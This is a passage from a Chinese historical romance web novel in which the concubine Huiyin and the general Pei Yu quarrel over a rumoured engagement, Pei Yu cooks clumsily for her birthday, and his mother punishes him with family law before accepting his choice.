他锁骨下露出几块暧昧都红痕,他凑近徽音,拉着她靠近胸前,“看。” 徽音被他胸膛的热意熏红脸,她朝后仰着头,涌上怒意,“看什么!” “你放开我!” 裴彧啧了一声,极淡地勾了下唇角,眼神锐利而明亮,“不闹你,你仔细看看。” 徽音气红脸,别开脸不语。 裴彧没办法,低头凑近她耳蜗轻轻吹气,尾音跟撒娇一样,“你看看啊。” 徽音耳尖涨红,忍无可忍的瞪了他一眼,没好气道:“看哪?” “这。”裴彧指着胸口那三块红痕。 徽音缄默片刻:“吻痕,不是我的,然后呢?” 裴彧喉结滚动,发出一声意味不明的轻笑,身体微微前倾,压低了声音:“仔细看看。” 徽音咬着牙细细看过去,细小的红痕中心有一个针孔大小的伤口,似是蚊虫叮咬的痕迹。 “昨日我确实是去了那,但绝不是去那里花天酒地。”裴彧一脸正色,“我说过不会负你的,又怎会去碰其他女人。” 徽音面色一怔,裴彧也趁机撒开手,将人抱在怀里,深嗅颈间的香味,直到此刻,他一直焦躁不安的心才宁静下来。 裴彧无比确认,他中毒了,一种名为徽音的剧毒,但他甘之如饴。 他低语:“不生气了好不好?” 徽音不说话,他就贴过去,拿脸轻轻蹭她的耳朵,轻啄她的面颊。 徽音下意识地攥紧了手,指甲深深掐进掌心,试图用着疼痛来提醒自己,不要再犯蠢了。男人的话不可信。 飞流水榭他和李莹月站在一起笑意盈盈的场面浮现在她眼前,裴夫人别有深意的让他五日后去李家,他也不曾拒绝。即将与旁人定亲,又在这里告诉她,不会负她。 是不是男人,都是这样,随随便便承诺,又随随便便抛诸脑后。 徽音有些想笑,又怕笑起来忍不住流泪,她推开裴彧,面上是裴彧从未见过的讥讽之色,“少将军,你若去南曲馆子,凭你这副容貌,甜言蜜语,必定是最受夫人欢迎的那一位。” 南曲馆子,长安城内最大的楚馆,专招待女客。 裴彧眼神极冷,声音像是牙缝里挤出一样,“你说什么?” 徽音嘲讽的扯了扯嘴角,忍住心中的刻薄话语,她怕真骂过火了,裴彧会忍不住赶她走,最起码现在,她还不能离开裴府。 她压下心中的怒意,背过身道歉,“妾一时激愤,口出诳语,还望少将军见谅。” 裴彧死死盯着她的背影,一瞬间从天堂跌落地狱,他不明白,明明刚刚还好好的,明明一切都解释清楚了,徽音为何还会这样。 裴彧压抑着怒火,伸手去拉去,“你把话说清楚。” 徽音避开裴彧的手,淡淡道,“妾身错了。” 裴彧只感觉一股血液直冲大脑,太阳穴一突一突地跳动,带来一阵阵胀痛,深深的无力感像藤蔓一样缠绕上来,勒得他喘不过气。 被风吹的吱呀吱呀的窗户来回摆动,似乎在嘲笑他方才的伏低做小多么令人可笑。 他低语道,声音没了方才的温柔缱绻,只有愤怒:“宋徽音,你真行!” 裴彧摔门离去,力道之大,本就不堪重负的木门轰然倒塌,将院中说话的两人吓住。 颜娘快速跑到屋门口,见徽音僵直身体站在屋中中央,垂下的指尖紧紧攥住衣裙。 徽音的声音很轻,“傅母,他要定亲了。” 颜娘呼吸一滞,这也太快了,她也听闻裴夫人在替裴彧相看贵女,担心徽音伤心一直瞒着她在。本以为短时间内不会定下,没想到这么快。 她张了张嘴,想要说些什么,徽音却先一步回头,对她笑道:“让人来修门吧。” 语气听不出什么,但强忍的笑容,泛红的眼角无一不昭示她内心的不平静。 颜娘招手让人把倒地的木门抬出去,行宫内房屋修理都要报到少府,一时半会估摸着修不好了。 她找了块了纱帘挂在门栏上,坠在底下的流苏轻轻晃动,光影流转。 接下来的几天,徽音跟没事人一样,好吃好喝好睡,没事的时候还陪着颜娘做会女工,和贺佳莹出去闲逛,颜娘提起的心终于落下。 徽音生辰的前一日,贺佳莹兴致勃勃的跑来,她穿着一身海棠绣腰襦裙,提着裙摆转了一圈,眉眼灵动,明媚可爱。 “徽音徽音,我这身好看吗?” 徽音这几日有些嗜睡,裴夫人生气视她为无物,裴彧不在,亦无人管她。她睡到巳时才起,刚醒睡的脸颊红润饱满,头发柔柔的披在身后。 看见贺佳莹一脸雀跃,她也不由得开心几分,“好看,你这是要出门吗?” 贺佳莹捂住唇,只露出一双灵动的眼睛,“这是郭廉拖人送来的。” 不用出门,徽音也没怎么收拾打扮,穿着一身舒适柔软的胭色直裾,坐在檐下用早饭。听见贺佳莹这句话,她顿时觉得面前的饭菜无甚滋味,随便用了两口就让人撤下去了。 贺佳莹宝贝她那身衣裙,一举一动比平常还要淑女,行走坐卧堪称典范。 她显摆完后,神秘兮兮的凑倒徽音跟前打听,“你是不是听我表兄吵架了?” 徽音伸出一只手指抵在她的额头上,将人推开,语气无奈:“与你无关的事少打听。” 贺佳莹气鼓鼓道:“你别以为我不知道,你们前两天还如胶似漆,恨不得日日黏在一起。这几日表兄却歇在苑林不曾回来,不是吵架是什么?” “是不是因为表兄要和李莹月订亲一事?” 徽音起身的动作一顿,下一刻又仿佛什么都发生一样往内室走,语气平静,“不是,你别瞎猜了。” 贺佳莹慌乱起身跟上她,连爱护心爱的衣裙都忘记了,提着裙小跑上去拦下徽音,“我也是今日才知道的,明日姨母要带表兄正式上门拜访李家,如果他们真的去了,此事就成定局了!” 徽音:“这与我有何关系?” “怎么无关,”贺佳莹猛然提高声音,“你真想让表兄娶其他人啊?” 徽音失笑的摇摇头,眼底怅然,“他要娶谁,我如何能置喙?” 徽音自嘲的笑笑,越过贺佳莹朝里走。 贺佳莹无措的待在原地,徽音怎么会没有办法呢,她不会是什么都能做到吗? “徽音……” “贺佳莹,”徽音疲累的声音传来,“我不想再听这些。” 贺佳莹还要再劝,颜娘及时将她拉走,使着眼神,徽音这几日面上看着没事,实则心绪一直紧绷着。 颜娘叹道:“贺女郎,你说的这些我家娘子何尝不知,可她只是个妾室,郎君婚事她如何能插嘴。” 贺佳莹闷闷不乐的坐下,双手捧着脸嘟囔,“我劝过姨母了她,她不听,表兄也是,他怎么就答应了呢!” 颜娘撇撇嘴,没有说话,她这辈子瞧过的男人海了去了,一百个男人里筛不出一个好的,原以为裴彧是个例外,不曾想也是俗人。 贺佳莹继续抱怨,“徽音端庄大方,气质典雅,蕙质兰心,秀外慧中,有了她还不知足,那李莹月除了家世哪里比得过徽音!若是以前,连家世都比不过。” 颜娘万分赞同贺佳莹的话,对她是越看越顺眼,索性倒了壶茶坐在贺家莹身边同她闲聊。 阿蘅脚步匆匆的从外走来,隐晦的看了眼贺佳莹,示意颜娘过去。 颜娘拍拍手,走过去问,“怎么了?” “外头来了位郎君,想见娘子。”阿蘅小声道。 颜娘眼神狐疑,让阿蘅先不要作声,她先出门看看。迎风馆不远处站着三个人,为首的那位她眼熟不已,正是差点与徽音定亲的王寰。 他身后还跟着两个深衣仆从,一个手捧木匣,另一一个脚边立着一个半身高的长木盒。 颜娘看了一眼认出人后,不动声色回院子里,胡诌两句打发贺佳莹的疑虑。趁她不注意,她偷偷溜进屋内找到徽音。 徽音还当听错了,“王寰?” 颜娘肯定道:“奴没看错,就是王郎君。” 徽音猜测王寰是来给她送古籍的,只是王寰一向守礼,为何今日却亲自前来。若是被裴夫人撞见,少不得又是一顿训斥。 她径直出了屋门,贺佳莹坐在檐下和阿蘅在玩双陆棋,没注意她这边的动静。徽音放下心,避开人出去见王寰。 王寰一身素白长袍纤尘不染,墨发如瀑,仅用一根简单的玉簪束起,眉眼温和。 “徽音,你要的古籍我都给你带来了。” 徽音看向他身后那个仆人怀中捧的木匣,沉甸甸的,分量颇重,“你叫人给我送过来就行,怎么还亲自跑这一趟。” 王寰眼神像是蕴藏着星光,目光沉静,让人感到一股真诚,“明日是你的生辰,我肯定要亲自来这一趟。” 徽音轻轻呼出一口气,垂眼失笑,“你还记得啊。” “我一直记得,今日是你十八岁生辰,这是我送你的生辰礼。”王寰从身后的仆从手中接过那个等身高的木盒,递给徽音身后的颜娘。 徽音问:“这是什么?” 王寰轻声道:“九霄环佩。” 九霄环佩是她阿母传给她的一张二十五弦瑟,其音色清越,直上九天,大气磅礴,亦是徽音从前最喜欢之物。 此物名贵,宋家出事时随府邸一起被抄没,徽音还以为再也不能抚这张瑟,没想到,王寰居然替她找回来了。 九霄环佩与她而言,不仅仅是心爱之物,而是亡母遗物。 “谢谢……”徽音有些哽咽,咬着唇克制这不失礼。 王寰无奈暗叹,那日在山上他见徽音和裴彧举着亲昵,已经说服自己放下不要去打扰。今日却听闻裴彧即将与李莹月订亲一事,他再也坐不住,借口送礼一事来找徽音。 王寰抬手轻轻摸摸了徽音的脑袋,下定决心道:“徽音,不论何时,我都在你身后,你不要怕。” 徽音低着头不敢抬头看王寰,她其实很早就明白王寰的心意,只是一直在逃避,她没法回应王寰。 “王寰,我不再是从前的徽音了,你不要……” 王寰温柔都打断她,“徽音,先不说这个好吗?” 徽音心乱如麻,胡乱点头应下。 这厢,贺佳莹躲在门后咬着牙偷窥,多亏她长了个心眼子,装做什么都不知道的玩乐,不然徽音定要找借口支开她,她也就看不到这副场景了。 贺佳莹心中暗骂,她从前还很崇拜王寰,没想到他也是个伪君子,趁着表兄和徽音吵架趁虚而入,又是送礼又是摸头的,他想挖裴家墙角,也要看她贺佳莹答不答应。 —— 午时的校场,本该是一片寂静午歇之时,却传来一阵鼎沸的人声。正中的场地上,里三层外三层的围着几圈赤甲士兵。 裴彧一身玄色劲装,肩宽窄背,长身如立,他手中随意握着一根长木棍,棍头点地,目光如炬的扫过面前几个围着他不敢上前的十来个精壮亲兵。 裴彧轻喝,“都没吃饭吗? 十几个亲兵互相对视一眼不再犹豫,握紧手中的木棍冲上前,碰撞的闷响,粗重的喘息和痛哼声混杂在一起,空气里弥漫着汗水和尘土的味道。 驰厌万分无奈的蹲在地上,扒拉手指头数日子,已经四天了,少将军待在苑林练兵已经整整四天了。 这四天里,他早上一睁眼就是沙场练兵,骑射,和底下的兵将同吃同住,从早到晚不停歇,整个虎贲营队叫苦不怠。 旁边刚刚被揍下场鼻青脸肿的虎贲将抱怨,“这简直比陛下打猎那几日布防还要累,少将军到底是怎么了,火气这么大。” 驰厌摸着下巴,他大概清楚了怎么回事,他幽幽叹道:“一个血气方刚刚刚开荤的男儿,突然间被赶出房门,你说呢?” 那人瞬间秒懂,狭促一笑,不再抱怨。毕竟,谁会跟独守空房的男人过不去,还是刚刚开荤的男人。 驰厌眯着眼望着高悬的烈日,他这会应该是在清凉柔软的床上午歇,而不是在这里看一群五大三粗的汉子过招。要是方木那小子在,他起码还能不怕死的开几句玩笑活络一下气氛。 他眯着眼,单腿支起打瞌睡,耳尖听到一句熟悉的娇喝声,“你知道我是谁吗!” 这声音有些耳熟,驰厌转头去打量,那站在两个士兵面前叉腰怒喝的女子,不正是他家里那位娇纵的贺女郎吗? 眼见那两个士兵守着规矩不放人,贺佳莹气红了脸想要硬闯,驰厌连忙翻身坐起赶过去劝和。 驰厌扬手将那个被贺佳莹骂的狗血淋头的士兵遣下去,讨好的望着贺佳莹,“贺女郎,您怎么来了?” 贺佳莹插着腰,脸蛋通红,骂骂咧咧道:“那两个人真没眼力见,我都说裴彧是我表兄还不肯放我!” 驰厌赔笑,“他们也是守着规矩。” 贺佳莹不耐烦的摆摆手,四处东张西望,“你快带我去见表兄,我有急事。” “贺女郎,少将军在训兵,这个时候不好去喊他,要不你等等?”驰厌为难道,少将军火气大,他才不要这个时候去触眉头。 “等了可以等,不过嘛,迟了徽音生气我可就不管咯了。”贺佳莹双手抱臂,眯着眼笑起来,一副卖关子的模样。 驰厌立刻道:“您稍等,我马上就去喊。” 驰厌一溜烟挤进圈子内,裴彧已经撂倒了三群人,正准备和第四群人动手,他连忙扑上去,抱住裴彧的手臂。 “少将军,贺女郎有急事找你。” 裴彧眼皮微微眯起,额角甚至能看到微微凸起的青筋,正不耐地跳动着,他面无表情的盯着驰厌,“她来干什么,叫她走。” 驰厌顶着裴彧的威压继续道:“她说事关宋娘子。” 宋娘子这三个字好像灵丹妙药,驰厌还没反应过来,就见他家少将军麻溜的扔下手中的木棍,大步离开。 驰厌亦步亦趋跟在他身后,适时递上感干净的帕子给他擦汗,引领裴彧去了贺佳莹所在的堂屋。 他们进门时,贺佳莹正饶着屋内焦急的踱步,一见他们到来,便冲上前大声嚷嚷:“表兄,你知不知道,明天是徽音十八岁生辰!” 裴彧拭汗的动作一顿,微微掀起眼皮,“你说什么?” 贺佳莹已经冲到两人面前,语速极快,“今日王寰上门送了徽音一张瑟,说是送她的十八岁生辰礼,他还说了些有的没的,还摸了徽音的头!” “表兄,你再不回去,徽音就被人抢走了!” 裴彧在听见王寰送瑟,徽音生辰时脸色就已经冷下来,又听见王寰摸了徽音的头,下颚收紧,原本俊朗的面孔绷得死紧,透露出压抑。 听闻贺佳莹的话,他嗤笑一声,眉毛拧紧,“她爱如何如何,再管她我就是狗!” “你……”贺佳莹憋不住的骂出声,“你怎么好意思生气,明明是你对不起她,明明是你要和李莹月订亲,你怎么还能怪她!” 裴彧转身的动作僵直住,回头盯着贺佳莹眼神发冷,“我要和谁订亲?” “李莹月啊!你不是都和她见过了吗,你还答应姨母明天和她一起去李家。” 贺佳莹这下是真的要气死,她忍不住为徽音委屈,“你待她一点也不好,我要是徽音肯定恨死你!” 她大声嚷嚷完,鼻尖发红,眼中含泪,一副可怜兮兮的模样。看见裴彧一脸阴沉之色又忍不住害怕起来,撞开他跑出去。 驰厌被迫听完这段,不禁咬咬牙,瞅了眼裴彧难看的脸色,没说什么,追着贺佳莹出去。 堂屋只剩裴彧一人,他耳边一直回荡着那句,“我要是徽音,一定恨死你了,一定恨死了你。” 他狠狠喘了口气,胸口闷的发疼,裴彧单手捂着脸半跪在地上,眼眶不受控制地泛起滚烫的潮意。 鼻腔的酸意让他无法呼吸,他想起昨日徽音的反常,徽音靠在他怀中时,知道他一面要和旁人定亲,一面还哄着亲近她,说那些屁话时,心中是如何想。 她一定很难受,比他现在还要难受万分,她一定恨死他了,一定很讨厌他,再也不想见他了。 第50章 不论从前还是往后,我都…… 碧色的夏被中露出一只白皙的手臂, 明晃晃的日光在屋内洒下光影,细小的尘埃在光柱里纷乱飞舞。 徽音慢吞吞地拥着夏被起身,乌发软软的垂在肩侧, 她揉揉眼,脑袋还不甚清醒。 昨日王寰送来的古籍很全, 大部分周文字都记录在册,就是需得一个一个进行翻译,徽音昨夜一直忙活到深夜,实在坚持不住才爬上床睡觉。 炎日高照, 看时辰已是午时,徽音不好意思的从床上起身, 她还是第一次睡到这个时辰。 颜娘趁她还在熟睡应该进来了不少次, 床侧整整齐齐放着洗漱用的铜盆和锦帕,案几上放着晾好的花茶和糕点。 旁边还放着一个黄花梨木的匣子, 雕工精秀,挂锁处还镶着一片金箔,徽音走过去打开木匣,匣中四周用黄色绸布,正上方放着一片竹简。 【徽音, 愿朱颜长似, 头上花枝, 岁岁年年——冯承留】 是冯承, 徽音嘴角抑制不住的上扬, 不用看她已经猜到冯承送的什么了, 他每年都是送徽音一座玉人雕塑。 徽音小心的解开绸布,玉雕小人眉眼精致,与她面容有七分相似, 穿着一身双绕曲裾,手中还拿着把桃花半扇。 只可惜冯承以往送的那些玉雕小人都被抄没了,不然此刻一排玉雕小人从低到高排列,应是极好看的。 “砰——” 屋外传来一声巨响,颜娘和阿蘅阿桑三人你看我我看你的守在灶屋门口,望着里头那个凶残垂打鱼肉的身影,他脚边还盖着一个晃晃当当的铜盆,上好的麦粉撒在他脚边,混上泥土。 灶屋屋梁不高,裴彧身量修长,微微屈着膝,迁就着低矮的灶台。他袖口挽起,露出精壮的小臂,手中握着一根干净的木杵,鲜美的鲂鱼肉在他手下打成泥。 听见门口的吸气声,他抬起头,眼角眉梢都挂上麦粉,语气谦和,“不小心弄洒了麦粉,还有吗?” 阿桑吃惊的嘴巴还未合上,呆愣愣的点头上前,捡起地上的铜盆去灶柜里翻麦粉。 颜娘看着洒了一地的麦粉,忍不住心疼,“少将军,您身份尊贵,这等庖厨之事还是让奴婢来吧。” 裴彧扬扬眉,“不必。” 他洗净手捞起一团鱼肉摆弄成圆团,再混在细腻的麦粉里面,动作生疏,捏成的形状也怪模怪样。 颜娘别开脸不去看他糟蹋粮食的模样,今晨鸡鸣时分,天才刚刚亮,院中人都还没起身,裴彧就来敲门问颜娘徽音爱吃何物。 颜娘尚未反应过来,回了句鲂鱼肉丸,裴彧听闻就走,她也没当回事。谁知辰时刚到,裴彧就拧着一桶活蹦乱跳的鲂鱼径直钻进了灶屋,要自己下厨。 一早上在灶屋摔摔打打,碎了四个碗,弄坏了一把刀,浪费半袋子麦粉,还弄坏了她惯用的木铲。 颜娘一肚子疑虑的坐在檐下,徽音不是说今日裴彧要和裴夫人拜访李家么,都已经午时一刻了,他还灶屋里不紧不慢的捏鱼丸,裴夫人那边也不曾派人来问,这是怎么一回事? “砰——” 又是一道响音传来,颜娘已经麻木了,她不用回头,只听声音就知道裴彧又摔了一个盘。 正屋的徽音蹙起眉,她嘴角还塞着一块糕点,正在翻阅昨日译出来的古文,屋外砰砰响个不停,打乱她的思绪。 徽音咽下糕点,腹中的饥饿感缓解一二,她擦干净手走到门口,被裴彧摔坏的门还未修复,只有一层薄薄的纱帘垂着。 她掀起纱帘,平日里这个时辰院中的婢女都会聚在一起闲话,今日却都守在灶屋外,恭恭敬敬的垂首候立。 颜年愁眉苦脸的坐在灶屋檐下,一双眼紧紧盯着灶屋,身体紧绷,似要随时冲过去的模样。 灶屋烟囱白烟徐徐升起,里头叮叮当当的响不停,似乎是谁在里头砸东西,徽音皱眉想着,是谁一大早在她这里找麻烦。 裴夫人和裴彧不在,贺佳莹不会找她麻烦,难道是裴衍那小子,她最近没有得罪过他吧。 徽音走上前,灶屋白烟袅袅,依稀可见里头那人的身影,一身玄色劲衣上沾满白粉,干净的灶台像是谁在这里打了一场仗,一片狼藉。 裴彧额间冒汗,手中握着一柄铜勺,在铁锅里胡乱翻腾。 徽音:“……”他是疯了吗,砸她的灶房,连饭都不给吃了吗? 徽音蹙着眉,凝视着本该出现在李家的人,“你在干什么?” 裴彧在锅中搅弄的动作一顿,装作没事人一样回头朝徽音笑道:“我听说你喜爱吃鱼丸……” 徽音看他嬉皮笑脸的就来气,她冷着脸走进去,灶屋内的热气扑面而来,她这下看清裴彧在锅中搅弄什么了。 沸腾的浊水中翻涌着不知名的白色块物体,面上浮着一层油腻腻的糊状物,看不清是什么东西。 这是鱼丸? 徽音一把抢过裴彧手中的铜勺狠狠掷在地上,怒道:“你给我出去!” “哎……别。”颜娘阻止不急,愁容深了三分,吵就吵吧,别摔东西啊,她这灶屋里都东西都让这两人折腾没了。 裴彧看着徽音生气的脸庞,低下头,长睫毛覆在眼下,一副垂首听训的模样。 他不动,徽音气得上手去推,裴彧暗地里使力稳住下盘,任徽音用尽力气也无法撼动。 徽音抬眼撞进他狭促带笑的眼底,气愤的拍了下他的肩侧,狠狠瞪着他。 两人僵持着,沸腾的铁锅突然炸了一下,溅出几滴热汤,裴彧眼疾手快的拉过徽音,护住她的身体。 徽音飞快的拍下他的手,灶屋内热意攀升,额上开始冒汗,她拽着裴彧一路出门,指着门口冷冷的盯着他,“你给我出去。” 裴彧抿着唇看了眼四周,颜娘和其他人看热闹似的躲在廊柱后,他莫名感到有些丢脸,伸手去握徽音柔软的手掌,小声道:“进去说,给我留点面子。” “啪——” 徽音冷着脸退后一步,斥道:“少动手动脚的。” 裴彧忍了半刻,挥手赶着看热闹的颜娘等人,“看什么,还不快下去。” 徽音冷笑,“裴将军好大的威风。” 得,又把人得罪了,裴彧听着徽音阴阳怪气的话音摸摸鼻头,轻声道:“你别生气,先去用饭。” 他一提,徽音也感觉腹中饥饿,想到锅中那一团乱遭,她面无表情道:“那也叫饭?” 裴彧话音一哽,大步折回灶屋,从灶上另一边端上几碗菜出来放在徽音面前,亲自动手摆饭,解释道:“我第一次下厨,也没抱什么希望,这些饭菜一直在灶上热着,就等你起床。” 他虎口处一片红肿,是方才拦在徽音身前被热汤溅伤的,徽音将口中尖锐的话语吞了回去,沉默的坐下去用饭。 裴彧见状松了口气,他还当心徽音跟他怄气不愿意用饭。他蹲在徽音身侧,帮她把炙肉切成小块,方便她进食。 徽音默默看着他忙活的动作,没有拒绝。 颜娘看两人终于安静下来,连忙招呼阿蘅和阿桑两人进灶屋去收拾,好在裴彧没将鲂鱼霍霍的彻底,还有三条祥和的躺在木桶中。颜娘撸起衣袖,提起鲂鱼放在案板上麻利的处理。 徽音用完饭,打量身边的男人,他支着腿靠在廊柱上,眼下一片青黑,难得一副脏兮兮的狼狈模样,鬓角和发尾都沾上白粉,衣袖挽在手臂处,除了虎口,手臂上也有一块烫伤。 徽音默了默,“你今日不是要去李家吗?” “今日是你生辰,为何不说?”裴彧望着徽音细白的颈脖。 两人同时开口,视线撞在一处,徽音先一步避开他侵略十足的眼神,低头整理裙摆,“我一个妾室的生辰,有什么好说的。” 裴彧眉间皱起,他不喜欢听徽音贬低自己,他从腰后摸索着拿出一个锦带递给徽音,“生辰礼。“ 徽音眼神闪了闪了,没接,“你还没回答我的问题。” “我没去李家,自然是因为……”裴彧拉长语调,余光注视道徽音朝他这边微微顷身,耳尖微动,他心底暗笑,面上不显。 裴彧凑近徽音,眼神肆无忌惮的打量着,狭促道:“我家里有个醋坛子,不知从哪里听来我要与旁人定亲的消息,她不来问我,暗地里吃醋,倒将我折腾的不轻。” 他还不要脸的在徽音耳垂亲了一口,徽音想也不想的一巴掌呼过去,力道不大,确是结结实实的一巴掌。 裴彧保持着顷身的动作僵住,他长怎么大,还是第一次被人扇巴掌,不痛,甚至还有点舒服? 他抬手摸摸了徽音的扇过的地方,别有意味的坐回去,唇角带笑。 徽音身体反应大过意识,等她扇下去后自己也懵了,撑着身体后退。本以为裴彧会大怒,再度摔门离去,可他只是坐在原地摸脸失笑,连话都没说一句。 徽音握了握手掌,方才扇过去的时候不小心沾到裴彧脸上的白粉,她低着头擦手。 下一刻,裴彧强势的将她的手掌拉过去,用沾湿的帕子擦着,嘴上还问道:“我脸皮厚,你手疼不疼?” 他的动作很温柔,像是擦拭什么奇珍异宝。 徽音彷佛被针扎了一般收回手,胡乱在身上蹭蹭,耳后爬上红意。她偷偷抬眼看了眼裴彧,那人低着头嗅着帕子,脸上笑意放荡。 徽音浑身一颤,逃似的起身离开。裴彧长腿一跨,将徽音堵在廊下,单手撑在墙上,低声道:“你跑什么?” 他又露出那副低垂笑意的邪肆模样,徽音移开眼,努力装作平静道:“你刚刚是什么意思?” 裴彧收回手站好,神色无比认真,“宋徽音,你听好了,在你之前我没想过其他女人,有你之后我也没想过要和其他人成婚,你……” “裴彧,你给我出来滚出来!”裴夫人怒气冲冲的拍着西院的木门,怒喝道。 裴彧猝不及防的被打断,不耐烦的啧了一声,伸手拍拍徽音的脑袋,“等会再和你算胡乱吃醋的帐。” 他转身离去,走到门口时又折返回来,低头凑近徽音道:“能不能借你的闺房梳理一下?” 徽音扭头离开,“随你。” 两人一前一后走进内室,裴彧忽然停住脚步,打量着只剩一半的木门和纱帘,这门好像是他摔坏的? 裴夫人在外久等不应,发着脾气喊人来踹门,颜娘从嘈杂的灶房钻出来,双手在腰间的围布上擦着,正打算去开门。 裴彧将人叫住,徽音回头去看他,明明什么都没说,裴彧却从她漂亮的眼睛里看出一句话。 你是想让我另外一扇门也废了吗? 裴彧神色变得微妙起来,扬声喊道:“阿母,别踹了,马上出来。” 他喊完老老实实的跟在徽音身后,对着铜镜擦脸,徽音看着他一身的脏污,皱着眉去翻干净的衣服,他要是这副模样出去,裴夫人不得朝她撒气。 裴彧擦完脸,拒绝徽音递过来的衣服,径直出了门。门匍一打开,就见裴夫人一副盛怒的模样,她身后两队人依次排开,竟是裴府亲卫。 徽音看着这副阵仗疑惑不语,她第一次见裴夫人这般生气的磨样,甚者还闹动了亲卫。 这十人徽音亦有所耳闻,他们本是大司马裴擎的亲卫,裴擎出征那年被留下护卫裴夫人和年幼的二子,裴擎战死后,这十人就只听裴夫人调遣。 裴彧看见这副阵仗什么都没说,他走到裴夫人面前,神色平静的唤了一声,“阿母。” 裴夫人抬手指着他,气的说不出话,“你……” “阿母要打要罚,儿子认,您别气坏了身子。”裴彧垂眼,微微低头将脸递过去。 裴夫人狠狠剐了他一眼,就是再生气,她也不会当着外人的面教训裴彧。 她嘴角死死抿着,“你给我过来!” 裴夫人拉着裴彧进了东院,除了那十名被允许跟进去的近卫,其他人都被赶了出来。听闻动静赶来的裴衍和贺佳莹被关在门外面面相觑,不知发生了何事。 徽音不知为何有些心绪不宁,东院门窗紧闭,不知里面在发生什么。 —— “你好的很,骗我说已经去了李府,将我一个人晾在李家,很得意是吗?” “你真是翅膀硬了,我这个做阿母的管不住你了是不是?” “你到底是如何想的,那李莹月容貌品行皆是上等,且不嫌弃你早已纳妾,你连她都不要,难不成是想要神女不成!” 一连三诘问砸在裴彧耳边砸下,裴夫人双眼含泪捶胸喊道:“你说!你到底想如何!你是不是,真的要气死我!” 裴彧不敢抬头看裴夫人的泪眼,慢慢跪在地上,背脊挺直,“阿母为何不曾告诉我今日是和李家的定亲宴?” “我若告诉你,你还肯去吗?”裴夫人冲到裴彧面前,指着他吼道。 裴彧:“儿子暂时不考虑娶妻一事,阿母也莫要折腾了。” 裴夫人一口气险些上不了,抬手打着裴彧身上哭道:“你个不孝子,我养你还不如养条狗。” 裴彧无奈,握住裴夫人的手,目光沉静,“不论您如何折腾,今日儿子明明白白告诉您,我裴彧的子嗣今后只会是宋徽音所出。” “你……”裴夫人捂着胸口不可置信,她就知道不好,有了宋徽音裴彧哪里能看得见旁人,如今,还说出这番大道不逆的话来,简直是诛她的心。 “逆子!你再说一遍。” “儿子说到做到。” “好!好的很……”裴夫人朝身后的亲卫喝道,“给我上家法,我倒要看看你硬气还是板子硬气。” 裴彧毫无畏惧的脱下衣服,露出伤痕累累的上半身。他静静跪在那里,与青砖融为一体,沉默内敛。 裴夫人望着裴彧身上的伤疤泪如雨下,他从刀光剑影中闯出来,挨了多少刀都不曾喊过痛,何况这小小的家法。 与他父亲一样,都是头倔驴。 她背过身,不去看裴彧受刑的场面,身后传来板子击在□□上的沉闷声。 裴夫人身子颤抖,泪流满面,她想起了很多年前,也有人为了她,违背父命,硬生生捱了一夜的家法也不愿松口。 不愧是父子,连这用情的模样都如出一辙。她好像听见那死鬼在她耳边念叨,叫她莫哭。 裴夫人痛哭出声,五年前,那人提枪出门,笑着摆手说,会给她带回最爱的美酒。结果却死在了战场上,连尸身都没个全乎的。 这些年,她祭祀都是个衣冠冢。 裴家儿郎马革裹尸,如今的功勋都是他们在战场上一刀一枪拼杀出来的,脑袋本就别在裤腰上,说不定哪天就要上战场,和他阿父一样,回不来。 罢了罢了,儿女债,还不清,他难得有个如此喜欢的姑娘,总不能硬生生将人分开,就让他们自己折腾去吧。 裴夫人擦干泪,万分疲倦的摆摆手,“停手吧。” “阿母。”裴彧唇色惨白,裸露的后背全是血痕。 到底是自己儿子,被打成这样,裴夫人再大的气也消了,她摇头苦笑,“从小我就不曾管过你什么,如今管不住,也不该管。往后,你要和谁过日子,都由你自己说了算。” 裴彧忍着痛膝行两步来到裴夫人面前,握住她的双放在脸上,“您是儿子的母亲,能管儿子一辈子。” 裴夫人哭出声,捧着裴彧的脸不住的心疼,嘴上怪怨,“你只嘴上说的好听,从不肯听我的。” “早知道,一开始我就不该让宋徽音进门。” 裴彧低笑起来,扯动背脊的伤心,他抽气道:“您若赶走了徽音,心心念念的孙子就没了。” 裴夫人翻了个白眼,一巴掌呼在裴彧血痕累累的背上,怒骂,“你就知道维护她,深怕你老娘找她麻烦是不是。” 裴彧捡起外衣披上,懒散的站在那里笑,“怕您找她麻烦,怕您给她气受,怕她伤心难受……” “滚滚滚。”裴夫人装做要打人的样子赶人,“赶紧滚去上药。” —— 徽音视线在竹简上游离,距离裴彧和裴夫人离开已经过了半个时辰,她坐在这里也已经半个时辰,一个字都没有看进去。 她脑中满是裴彧玩世不恭的笑容,徽音撑着脑袋无奈的叹口气,良久,她把竹简摞好,起身出门。 手刚刚触碰到纱帘,就见裴彧一瘸一拐的走来,外衣松松垮垮的披在肩侧,里衣下摆沾满血迹。 徽音呼吸骤停,撩开纱帘小跑过去,手足无措的立在裴彧面前,“你……你怎么了?” 裴彧面色痛苦的吸口气,站不稳的倒在徽音身上,“好疼啊。” 徽音虚虚扶住他,不小心碰他身上的伤,换来裴彧一阵闷哼。她顿时吓住不敢乱动,“你还好吗?” 裴彧难耐的喘了口气,“疼死了。” 徽音扶住他的肩膀带着他向前走,余光里全是裴彧苍白的唇色和冷汗淋淋的额头,她突然感到一股不可明说的难受,徽音抿着唇,“傅母,打盆干净的水来。” 进了屋,裴彧身形重,徽音扶着他脚步踉跄的倒在榻上,她让裴彧趴好,脱掉他的外衣,底下素白的里衣满是血色。 她呼出一口气,轻轻揭开裴彧的里衣,露出里面血痕交错的杖伤,徽音胸口闷闷的难受,连声音都低了两分,“你到底是做什么了,惹得夫人如此生气,竟还动手了。” 裴彧侧着脸,瞅着徽音担心的面容,心中一阵舒爽。他沧桑的叹口气,摇着头不语。 徽音等了片刻,没忍住又问道:“你说呀。” 裴彧单手支着头,用手勾了勾徽音,指着身边的位置示意徽音坐下。 许了受了伤,他的声音有些暗哑:“阿母同我说李莹月的母亲是这几年来唯一真心愿意和她交好之人,也不曾私下嘲笑过她的出身。她有心和李家交好,叫我今日陪她去李家做客。” 裴彧顿了顿,偷偷摸摸的牵住徽音的手,见她没拒绝,更加放肆的十指紧扣住,“从前确实经常有人嘲笑我阿母出身小门小户,她这些年里也没几个知心好友,我没想太多便应了下来,后来才得知她有意和李家结亲。” 徽音睫毛轻颤,“然后呢?” “今晨我告诉她让她先行去李府做客,实则是找到李大人告诉他我没有要和李家结亲的意思,全是阿母一人的意愿。” “然后我便回了迎风馆。” 徽音点点头,唇角轻漾,“回迎风馆将我这里的灶屋险些拆了,颜娘拉着我抱怨了半天。” 